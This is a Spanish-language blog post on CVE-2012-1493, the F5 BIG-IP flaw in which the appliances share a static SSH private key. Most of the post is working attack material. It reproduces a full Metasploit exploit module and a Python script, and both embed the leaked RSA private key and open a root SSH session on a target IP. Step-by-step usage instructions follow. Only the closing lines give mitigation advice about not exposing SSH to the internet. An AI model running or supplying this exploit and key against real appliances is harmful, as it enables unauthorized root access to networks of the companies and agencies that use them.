F5 BIG IP – Vulnerabilidad ssh root – Exploit

En Packetstorm fue publicado el 12 de Junio de 2012  un interesante exploit que afecta a los  F5 big ip , descubierto y investigado por Florent Daigniere de Matta Consulting: https://www.trustmatta.com/advisories/MATTA-2012-002.txt, utilizando una llave privada,  que ocupan los F5 para hacer algunos trabajos,  cuando están en modo de cluster.

Por su parte F5, ha liberado información de los Software afectados y maneras de resolución, o al menos contensión: http://support.f5.com/kb/en-us/solutions/public/13000/600/sol13600.html .

Hay que recordar que grandes empresas cuentan con este Appliance, tales como Subtel(al parecer), y Algunos Diarios Importantes, más otros organismos del Estado.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require ‘msf/core’
require ‘net/ssh’

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info, {
‘Name’        => ‘F5 BIG-IP SSH Private Key Exposure’,
‘Version’     => ‘$Revision$’,
‘Description’ => %q{
F5 ships a public/private key pair on BIG-IP appliances that allows
passwordless authentication to any other BIG-IP box. Since the key is
easily retrievable, an attacker can use it to gain unauthorized remote
access as root.
},
‘Platform’    => ‘unix’,
‘Arch’        => ARCH_CMD,
‘Privileged’  => true,
‘Targets’     => [ [ "Universal", {} ] ],
‘Payload’     =>
{
‘Compat’  => {
‘PayloadType’    => ‘cmd_interact’,
‘ConnectionType’ => ‘find’,
},
},
‘Author’      => ['egypt'],
‘License’     => MSF_LICENSE,
‘References’  =>
[
[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
[ 'CVE', '2012-1493' ],
[ 'OSVDB', '82780' ]
],
‘DisclosureDate’ => “Jun 11 2012″,
‘DefaultOptions’ => { ‘PAYLOAD’ => ‘cmd/unix/interact’ },
‘DefaultTarget’ => 0,
}))

register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22),
], self.class
)

register_advanced_options(
[
OptBool.new(‘SSH_DEBUG’, [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new(‘SSH_TIMEOUT’, [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)

end

# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end

def do_login(user)

opt_hash = {
:auth_methods => ['publickey'],
:msframework  => framework,
:msfmodule    => self,
:port         => rport,
:key_data     => [ key_data ],
:disable_agent => true,
:config => false,
:record_auth_info => true
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, user, opt_hash)
end
rescue Rex::ConnectionError, Rex::AddressInUse
return :connection_error
rescue Net::SSH::Disconnect, ::EOFError
return :connection_disconnect
rescue ::Timeout::Error
print_error “#{rhost}:#{rport} SSH – Timed out during negotiation”
return :connection_disconnect
rescue Net::SSH::AuthenticationFailed
print_error “#{rhost}:#{rport} SSH – Failed authentication”
rescue Net::SSH::Exception => e
return [:fail,nil] # For whatever reason.
end

if ssh_socket

# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, ‘/bin/sh’, true)
ssh_socket = nil

return conn
else
return false
end
end

def exploit
conn = do_login(“root”)
if conn
print_good “Successful login”
handler(conn.lsock)
else
print_error “Login failed”
end
end

def key_data
<<EOF
—–BEGIN RSA PRIVATE KEY—–
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
—–END RSA PRIVATE KEY—–
EOF
end
end

Utilizando el exploit con Python:

#!/usr/bin/python
#
# Title: F5 BIG-IP Remote Root Authentication Bypass Vulnerability (py)
#
# Quick script written by Dave Kennedy (ReL1K) for F5 authentication root bypass
# http://www.secmaniac.com
#
#
import subprocess,os

filewrite = file(“priv.key”, “w”)
filewrite.write(“””—–BEGIN RSA PRIVATE KEY—–
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
—–END RSA PRIVATE KEY—–“””)
filewrite.close()
subprocess.Popen(“chmod 700 priv.key”, shell=True).wait()

ipaddr=raw_input(“Enter the IP address of the F5: “)
subprocess.Popen(“ssh -i priv.key root@%s” % (ipaddr), shell=True).wait()

if os.path.isfile(“priv.key”):
os.remove(“priv.key”)

En el caso del segundo ejemplo, solo basta tener un equipo con S.O Linux con  python instalado, copiar el script y ejecutarlo con el comando “python”. (python bypassF5.py). El script te pedirá ingresar la IP del BigIP, luego realizará una conexión por SSH autenticando con una llave privada.

El sitio oficial de F5 (http://support.f5.com/kb/en-us/solutions/public/13000/600/sol13600.html) dan las medidas de mitigación. Pero lo más importante es si tienes plataforma F5 y está es vulnerable por ningún motivo debes tener publicado hacia internet el servicio SSH.

Una buena práctica es que nunca debes publicar algún sistema de administración, ya sea servicios de administración web (CMS, admin tomcat, jboss, etc), SSH entre otros, hacia internet

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *